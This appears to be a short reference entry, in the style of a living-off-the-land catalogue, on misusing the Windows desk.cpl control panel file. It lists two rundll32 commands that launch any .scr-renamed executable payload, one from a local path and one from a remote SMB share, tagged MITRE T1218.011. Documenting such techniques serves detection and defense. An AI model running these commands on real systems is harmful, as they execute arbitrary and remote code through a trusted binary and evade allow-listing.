Desk.cpl

Desktop Settings Control Panel

Execute

Launch any executable payload, as long as it uses the .scr extension.

rundll32.exe desk.cpl,InstallScreenSaver {PATH_ABSOLUTE:.scr}

Launch an executable with a .scr extension by calling the InstallScreenSaver function. — MITRE: T1218.011 — Privileges: User

Launch any executable payload, as long as it uses the .scr extension.

rundll32.exe desk.cpl,InstallScreenSaver {PATH_SMB:.scr}

Launch a remote executable with a .scr extension, located on an SMB share, by calling the InstallScreenSaver function. — MITRE: T1218.011 — Privileges: User